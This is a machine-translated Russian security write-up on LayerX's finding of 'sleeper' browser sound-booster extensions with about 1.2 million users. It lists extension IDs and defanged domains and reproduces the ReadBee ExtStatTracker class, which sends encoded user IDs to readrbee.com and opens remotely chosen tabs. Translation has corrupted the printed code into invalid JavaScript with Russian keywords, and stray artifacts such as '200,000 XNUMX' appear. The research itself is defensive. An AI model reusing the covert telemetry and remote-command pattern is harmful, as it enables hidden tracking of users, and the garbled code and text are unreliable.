Компания LayerX обнаружила сеть вредоносных расширений «спящих агентов», которые, по всей видимости, служат инфраструктурой для будущей вредоносной активности. В настоящее время они установлены почти у 1.5 миллиона пользователей по всему миру.

 

LayerX обнаружил сеть расширений браузера, которые, по-видимому, служат «спящими агентами» для будущей вредоносной активности. Расширения, по-видимому, были разработаны одним и тем же лицом или группой, ожидающими своего «приказа на марш», чтобы выполнить вредоносный код на компьютерах ничего не подозревающих пользователей. 

Расширения, которые LayerX идентифицировал, похоже, сосредоточены на управлении звуком в браузере. В то время как расширения пытаются скрыть свои общие параметры (общая кодовая база, общие внешние назначения связи и т. д.) и пытаются продемонстрировать законную функциональность, анализ кода раскрывает совсем другую историю:

  • Распространенный код с известными вредоносными расширениями: В этих расширениях были обнаружены общие шаблоны кода, которые ранее были идентифицированы как вредоносные и удалены из интернет-магазина Chrome.
  • Загрузка внешних файлов конфигурации для выполнения команд: Общие шаблоны кода позволяют расширению, помимо прочего, выполнять удаленные инструкции без появления этих команд в кодовой базе, тем самым обходя традиционные методы сканирования кода.
  • Открытие фоновых вкладок и выполнение команд: Это позволяет расширению выполнять команды без ведома пользователя. Примерами таких команд могут быть, например, доступ к внешнему URL и загрузка вредоносного ПО.
  • Взаимодействие с известными вредоносными URL-адресами: Расширения взаимодействуют с внешними URL-адресами, включая известные вредоносные домены.
  • Шифрование трафика: Расширения также используют шифрование и обфускацию кода base64 для шифрования внешних коммуникаций и сокрытия своего поведения.

Излишне говорить, что эти возможности, по всей видимости, не имеют никакого законного применения в связи с предполагаемой функцией расширений. 

В настоящее время LayerX выявил четыре таких расширения (см. ниже для получения полной информации) с более чем 1.2 миллиона пользователей по всему миру. LayerX также в настоящее время исследует несколько дополнительных расширений, которые, по-видимому, связаны с этой кампанией. Все расширения в настоящее время по-прежнему доступны в Chrome Store.

 

Распространенная вредоносная кодовая база

Хотя расширения внешне не кажутся связанными, они имеют общую кодовую базу со множеством повторяющихся функций и структур данных, что указывает на одного разработчика или группу, стоящую за ними.

Критически важно, что они, похоже, разделяют код инфраструктуры с расширением, которое было удалено в прошлом из Chrome Web Store из-за вредоносной активности: ReadBee (Идентификатор расширения: phjbepamfhjgjdgmbhmfflhnlohldchb) было популярным расширением Chrome, которое включало скрытую инфраструктуру для вредоносной активности. Позднее оно было удалено из Chrome Web Store после того, как было связано с перенаправлением трафика и потенциальным партнерским мошенничеством, а некоторые Исследователи безопасности отметили его как подозрительный из-за разрешений и поведения..

ExtStatTracker класс в ReadBee молча отслеживает установки, удаления и обновления, отправляя закодированные пользовательские данные, включая постоянный UUID, readrbee.com, Он может также открывать произвольные URL-адреса в новых вкладках, эффективно действуя как удаленный командный канал. Эта логика телеметрии встроена в фоновый сценарий и не разглашается пользователям, подтверждая наличие вредоносной инфраструктуры.

Фоновый скрипт ReadBee включает компонент ExtStatTracker, который функционирует как инфраструктура удаленного управления и телеметрии. Он кодирует данные с помощью btoa и добавляет их к сетевым запросам, отправляемым readrbee.com. Эта система позволяет удаленному серверу отправлять обновления конфигурации и даже открывать произвольные вкладки с помощью chrome.tabs.create(). 

Одним из преимуществ этой настройки является гибкость: например, идентификатор элемента для мониторинга в скрипте контента может быть доставлен удаленно, избегая жестко закодированной логики и упрощая обход статических инструментов безопасности. Связь между компонентами происходит через chrome.storage, что обеспечивает постоянную, скрытую координацию. Эта скрытая инфраструктура демонстрирует явные признаки злонамеренности посредством скрытого отслеживания, динамического внедрения поведения и преднамеренного обхода механизмов безопасности.

класс ExtStatTracker {

    конструктор() {

        этой.installUrl = «https://readrbee.com/install/" этой.uninstallUrl = «https://readrbee.com/uninstall/" этой.config = {}, этой.очередь = [], этой.хэш = «», этой.queueProcessorReady = !1, этой.uid = «», этой.version = chrome.runtime.получитьМанифест().версия, ee = “не определено” == тип окно ? globalThis : окно, этой.initStorage(), этой.initListeners()

    }

    процессQueue() {

        для (; этой.длина.очереди > 0; ) {

            вар t = этой.очередь.сдвиг();

            if (!t.тип || «Действие» != т.тип) возвращают !0;

            вар е = «р=» + encodeURIComponent(бтоа(JSON.стягивать({

                id: chrome.runtime.id,

                v: этой.версия,

                действие: т.действие,

                UID: этой.жидкость,

                хэш: этой.хэш,

                t: Дата.сейчас()

            })));

            получать(этой.installUrl + «?» + е).тогда((т => т.JSON())).тогда((функция(т) {

                т && 1 != т.ок && (t.url && хром.вкладки.Создайте({

                    URL: t.url

                }), extStatTracker.сохранитьКонфигурацию(т))

            }))

        }

    }

    setUninstallUrl() {

        вар t = «р=» + encodeURIComponent(btoa(JSON.stringify({

            id: chrome.runtime.id,

            v: этой.версия,

            действие: «Удалить»,

            UID: этот.uid,

            t: Дата.сейчас()

        })));

        хром.время выполнения.setUninstallURL(этой.uninstallUrl + «?» + т)

    }

    initListeners() {

        chrome.runtime.onInstalled.добавитьСлушатель((т => {

            этой.очередь.протолкнуть.({

                напишите"действие"

                действие: т.причина

            }), этой.queueProcessorReady && .процессQueue()

        }))

    }

    initStorage() {

        chrome.storage.local.получить((т => {

            t && т.конфиг && (extStatTracker.config = t.config), extStatTracker.config.uid ? extStatTracker.uid = extStatTracker.config.uid : (extStatTracker.uid = extStatTracker.config.uid = crypto.случайныйUUID(), extStatTracker.сохранитьКонфигурацию()), extStatTracker.hash = extStatTracker.config.hash, extStatTracker.queueProcessorReady = !0, extStatTracker.setUninstallUrl(), extStatTracker.процессQueue()

        }))

    }

    сохранитьКонфигурацию(т = !1) {

        t = t || extStatTracker.config, chrome.storage.local.получить({

            конфиг: {}

        }, (е => {

            Объект.назначать(e.config, t), chrome.storage.local.набор({

                конфиг: e.config

            })

        }))

    }

}

Const extStatTracker = новый ExtStatTracker;

Эта инфраструктура не является уникальной для ReadBee — похожие вредоносные структуры кода были обнаружены и в других расширениях. Например, Поиск ChatGPT расширение (acagjkjeebjdmeipgmhcmaddekfmdbaj) использовал те же шаблоны связи и управления и был удален из Chrome Web Store 25 октября 2024, из-за вредоносного ПО.

 

Связь с вредоносными URL-адресами:

Некоторые из доменов, с которыми взаимодействуют эти расширения, были отмечены как известные вредоносные URL-адреса на VirusTotal:

  • https://francjohn[.]com/api/action/

Другая область, в которой расширения используются для связи, это:

  • https://jermikro[.]com/api/

Три расширения взаимодействуют с этим доменом. Хотя сам этот домен не был отмечен как вредоносный, его основа в прошлом была отмечена как вредоносная активность.

Более того, расширения также используют различные методы шифрования в коде для шифрования внешних коммуникаций и сокрытия своего поведения.

 

Запутывание общей собственности

Другим ключевым фактором является то, что, хотя все расширения, по-видимому, имеют общую кодовую базу (по крайней мере, для вредоносных фрагментов), общую тему (все они, по-видимому, сосредоточены на управлении звуком в браузере) и общие внешние коммуникации, внешне они все демонстрируют разное владение:

  • Каждое расширение указано под разным издателем и имеет разные контактные данные.
  • Ни одно из расширений не имеет общедоступных веб-сайтов.
  • Контактная информация каждого расширения ведет к анонимным учетным записям веб-почты.

В результате невозможно установить личности людей, стоящих за каждым из этих расширений.

 

Подозреваемые вредоносные расширения:

Ниже представлен текущий список предполагаемых вредоносных расширений, идентифицированных как часть этого кольца:

Имя расширения ExtensionID Пользователи
Усилитель звука pmilcmjbofinpnbnpanpdadijibcgifc 200,000
Изучите исходный код Volume Max – Ultimate Sound Booster mgbhdehiapbjamfgekfpebmhmnmcmemg 1,000,000
Volume Master: Управляйте своим звуком eoejmjkddfbhhnbmklhccnppogeaeeah 3,000
Усилитель громкости: Лучший усилитель звука dlcgileladmbfijjmnleehhoebpggpjl 2,000

Дальнейшее подтверждение на VirusTotal

Хотя VirusTotal в основном известен как хранилище для маркировки доменов/IP-адресов серверов управления и контроля вредоносного ПО (C2), он также включает некоторые данные о расширениях.

Действительно, расширение «Examine source code of Volume Max – Ultimate Sound Booster», с более чем миллионом загрузок, уже было отмечено несколькими поставщиками. Однако оно не было удалено из Chrome Web Store.



Аналогично, расширения «Sound Boster» (более 200,000 XNUMX пользователей) также были отмечены некоторыми компаниями безопасности как вредоносные. Они также остаются доступными в Chrome Web Store.


Последствия:

Анализ расширений все еще продолжается, но пока LayerX не выявил ни одного текущий вредоносные действия (кроме подключений к известным вредоносным расширениям). Вместо этого, это, кажется, Платформа or инфраструктура для потенциальной будущей вредоносной активности. Вот почему мы называем это «спящей» сетью расширения.

Этот тип «спящей» сети расширений может служить заменой традиционным ботнетам. В то время как создание ботнетов (обычно на открытых устройствах IoT) может быть медленным, технически сложным и громоздким, разработка сети вредоносных расширений браузера намного проще и может обеспечить прямой доступ к ключевой информации о личности пользователя, такой как файлы cookie, пароли, данные о просмотре и контент просмотра.

Здесь можно сделать несколько ключевых выводов:

  1. Даже, казалось бы, безобидные расширения могут быть вредоносными: в этом случае, даже несмотря на то, что мы не увидели никакого активного вредоносного поведения, мы выявили несколько ссылок на известные вредоносные расширения и/или домены, а также код с возможностями, которые не имеют отношения к расширениям с заявленными возможностями.
  2. Репутация издателя — это черная дыра: любой может загрузить расширение, и практически невозможно отследить людей, стоящих за этими расширениями. В этом случае, несмотря на все сходства, расширения ведут к общим адресам веб-почты, а не к публичным веб-сайтам, и нет способа узнать, кто за ними стоит.
  3. Обеспечение безопасности расширений — это непрерывный процесс: это не одноразовое решение, и, казалось бы, невинные расширения могут стать вредоносными, или вредоносные возможности могут быть включены/выключены. Вот почему постоянный мониторинг поверхности угроз и состояния безопасности расширений браузера имеет решающее значение.